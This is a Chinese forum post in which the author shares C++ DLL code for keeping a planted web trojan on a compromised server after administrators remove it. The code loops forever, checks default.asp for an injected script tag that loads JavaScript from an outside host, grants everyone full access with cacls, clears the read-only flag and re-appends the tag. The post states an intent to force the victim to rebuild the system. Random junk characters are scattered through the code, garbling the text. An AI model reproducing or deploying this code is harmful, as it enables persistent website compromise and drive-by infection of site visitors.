简单监控文件挂马程序制作
本人挂马语句经常被管理员KILL,但是自己也有管理员权限,保留的很好,既然被他发现了,怎么说我们也要强行挂上1天到2天,让他去重做系统去。下面是一个简单的监控某个文件,给予他访问的权限。然后在检查代码中有无我们事先插入的代码,没的话就插入,有的话,等等在 Z7C^3U|'M s代码如下:8nxID!dO?
j3D$R9p/`[
#include "stdafx.h" S5]FO1ZxU(N
#include "process.h"
#include "windows.h" (`gO#S'rh`
#include "string.h" j,Q1Ew2f*b N^1oS$L
#include "iostream.h" }0^!W)V)g9O+T2b8I'M
#include "fstream.h"
char path2[256]="E:\\gxm\\default.asp"; %y)fP,Q6no/a
char guama[256]="\n<script language=javascript src='http://www.gxm520.cn/tg.js'></script>";
BOOL APIENTRY DllMain( HANDLE hModule, Pi;Wt8Va!~n6C%r t/E
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch ( ul_reason_for_call ) r!U2D#n,Y/v
{
case DLL_PROCESS_ATTACH:
{ M3qxz+C C
while(1)
{
ifstream ifs(path2); F8Q0j4R"jVF"A7xze
char FileContent[5000]; r*F^E7`@p
memset(FileContent,0,5000);//初始化FileContent
ifs.read(FileContent,5000);//读取数据
ifs.close();//关闭ifstream对像 r4A2u(w Q(gi
if(strstr(FileContent,guama)==0) /f I3^D T0wj
{ v\9KoY-V
char path1[256]="E:\\gxm\\default.asp "; //比变量path2多了一个空格 ,PWjV[z
char mingling[256]="cacls "; [6r.xA1Rn4K3X2\$a
strcat(mingling,path1);
char ps[25]="/T /E /C /G everyone:F"; *bUd#C4wY7} x
strcat(mingling,ps);
char mingling1[256]="cacls ";
strcat(mingling1,path1); 0F:@iVo7^\
char pa[30]="/T /E /C /G administrator:F"; -w}G2C&y6y:}j
strcat(mingling1,pa);
system(mingling); U[%MiNy*C0aJ
system(mingling1); ba(s*uf&f!rta
SetFileAttributes(path2,GetFileAttributes(path1) & ~FILE_ATTRIBUTE_READONLY); 3cK0Y9GF;F5\P&d:l#^
ofstream outfile; -u4D{+b]n Z
outfile.open(path2,ios::app); ^!a _ A"o4o C
if (!outfile) 8qhh_~FK
{ :Nx_0vxs#F
exit(0);
}
outfile<<guama;
outfile.close();
} CPk(M}D5tp
Sleep(9000); w,r#z7fF3^7_s
}
}
default:
return TRUE; Q;LSN!R Wd-N
}
return TRUE;
} fJ*Z|/\/q
6w*x9U|X
O+\ zE:a7x
简单的监控文件程序的代码而已,我也不知道别人是怎么写的,反正自己是这样想出来一点一点的写点,希望对我们一样菜的人有点帮助。
页:
[1]